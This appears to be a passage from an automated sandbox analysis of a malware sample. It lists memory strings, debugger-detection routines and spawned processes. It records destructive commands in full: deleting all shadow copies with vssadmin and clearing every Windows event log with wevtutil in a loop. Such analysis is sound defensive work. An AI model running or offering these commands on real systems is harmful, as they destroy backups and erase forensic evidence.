00000018.00000003.4167803797.000002E3F7E4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-VID-AnalyticB
Source: wevtutil.exe, 00000018.00000003.4169066415.000002E3F7EA1000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168503361.000002E3F7E9D000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4169208338.000002E3F7EB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-NETVSC/Diagnosticr/DebugyticDiagnosticnale/Analytical
Source: wevtutil.exe, 00000018.00000003.4169066415.000002E3F7EA1000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168503361.000002E3F7E9D000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4169208338.000002E3F7EB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/DiagnosealyticDiagnosticnale/AnalyticalVJI
Source: wevtutil.exe, 00000018.00000003.4167698389.000002E3F7E41000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167580925.000002E3F7E3E000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167803797.000002E3F7E4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor-AdminLMEMXH3
Source: wevtutil.exe, 00000018.00000003.4171130532.000002E3F7E79000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170533921.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170818298.000002E3F7E6D000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170724571.000002E3F7E5C000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168008449.000002E3F7E4F000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170629369.000002E3F7E58000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167698389.000002E3F7E41000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170907125.000002E3F7E72000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167580925.000002E3F7E3E000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170775616.000002E3F7E65000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4169304856.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/Admin
Source: wevtutil.exe, 00000018.00000003.4171130532.000002E3F7E79000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170533921.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170818298.000002E3F7E6D000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170724571.000002E3F7E5C000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168008449.000002E3F7E4F000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170629369.000002E3F7E58000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167698389.000002E3F7E41000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170907125.000002E3F7E72000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167580925.000002E3F7E3E000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170775616.000002E3F7E65000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4169304856.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/Debug2
Source: wevtutil.exe, 00000018.00000003.4167698389.000002E3F7E41000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167580925.000002E3F7E3E000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167803797.000002E3F7E4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-NETVSC/DiagnosticLMEMX03
Source: wevtutil.exe, 00000018.00000003.4168008449.000002E3F7E4F000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167698389.000002E3F7E41000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167580925.000002E3F7E3E000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167803797.000002E3F7E4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-VID-AnalyticLMEMP 3
Source: 5PPbtKZ2hR.exe, 00000000.00000002.4510690674.00000000034D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft-hyper-v-client-migration-replacement.man
Source: wevtutil.exe, 00000018.00000003.4169066415.000002E3F7EA1000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168503361.000002E3F7E9D000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4169208338.000002E3F7EB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/AnalyticalyticDiagnosticnale/Analytical
Source: wevtutil.exe, 00000018.00000003.4169066415.000002E3F7EA1000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168503361.000002E3F7E9D000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4169208338.000002E3F7EB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/OperationalyticDiagnosticnale/Analytical
Source: wevtutil.exe, 00000018.00000003.4169066415.000002E3F7EA1000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168503361.000002E3F7E9D000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4169208338.000002E3F7EB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor-OperationalugyticDiagnosticnale/Analytical
Source: 5PPbtKZ2hR.exe, 00000000.00000002.4510690674.00000000034D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft-hyper-v-migration-replacement.mansida
Source: 5PPbtKZ2hR.exe, 00000000.00000002.4510690674.00000000034D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft-hyper-v-drivers-migration-replacement.man
Source: wevtutil.exe, 00000018.00000003.4170533921.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170818298.000002E3F7E6D000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170724571.000002E3F7E5C000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168008449.000002E3F7E4F000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170629369.000002E3F7E58000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167698389.000002E3F7E41000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167580925.000002E3F7E3E000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170775616.000002E3F7E65000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4169304856.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168917854.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167803797.000002E3F7E4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/Operational
Source: wevtutil.exe, 00000018.00000003.4167698389.000002E3F7E41000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167580925.000002E3F7E3E000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167803797.000002E3F7E4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/DebugLMEM``3
Source: wevtutil.exe, 00000018.00000003.4167698389.000002E3F7E41000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167580925.000002E3F7E3E000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167860626.000002E3F7E42000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168008449.000002E3F7E49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/OperationalLMEMhP3
Source: wevtutil.exe, 00000018.00000003.4169066415.000002E3F7EA1000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168503361.000002E3F7E9D000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4169208338.000002E3F7EB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor-AdminicalugyticDiagnosticnale/Analytical8D
Source: wevtutil.exe, 00000018.00000003.4167698389.000002E3F7E41000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167580925.000002E3F7E3E000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167860626.000002E3F7E42000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168008449.000002E3F7E49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/DiagnoseLMEMhX3
Source: wevtutil.exe, 00000018.00000003.4171130532.000002E3F7E79000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170533921.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170818298.000002E3F7E6D000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170724571.000002E3F7E5C000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168008449.000002E3F7E4F000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170629369.000002E3F7E58000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167698389.000002E3F7E41000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170907125.000002E3F7E72000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167580925.000002E3F7E3E000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170775616.000002E3F7E65000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4169304856.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-NETVSC/Diagnostic

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

graph_0-20653

Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe

Code function: 0_2_00445820 IsDebuggerPresent,RaiseException,

0_2_00445820

Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_004011B0 Sleep,Sleep,SetUnhandledExceptionFilter,GetStartupInfoA,	0_2_004011B0
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_00443E50 TlsGetValue,CloseHandle,CloseHandle,CloseHandle,TlsSetValue,RtlRemoveVectoredExceptionHandler,CloseHandle,CloseHandle,CloseHandle,RtlAddVectoredExceptionHandler,	0_2_00443E50
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_0044B039 SetUnhandledExceptionFilter,	0_2_0044B039
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_00447A70 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00447A70
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_0048861C SetUnhandledExceptionFilter,TlsAlloc,	0_2_0048861C

Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cmd.exe /c for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wevtutil.exe el
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "AMSI/Debug"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "AirSpaceChannel"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Application"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "DirectShowFilterGraph"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "DirectShowPluginControl"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Els_Hyphenation/Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "EndpointMapper"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "FirstUXPerf-Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "ForwardedEvents"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "General Logging"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "HardwareEvents"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "IHM_DebugChannel"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS-GPIO/Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS-I2C/Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Debug"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Performance"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS2-I2C/Debug"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS2-I2C/Performance"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Internet Explorer"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Key Management Service"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "MF_MediaFoundationDeviceMFT"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe el
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "EndpointMapper"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "FirstUXPerf-Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "ForwardedEvents"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "General Logging"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "HardwareEvents"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "IHM_DebugChannel"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS-GPIO/Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS-I2C/Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Debug"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "MF_MediaFoundationDeviceMFT"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wevtutil.exe el
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "ForwardedEvents"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS-I2C/Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS2-I2C/Debug"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS2-I2C/Performance"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
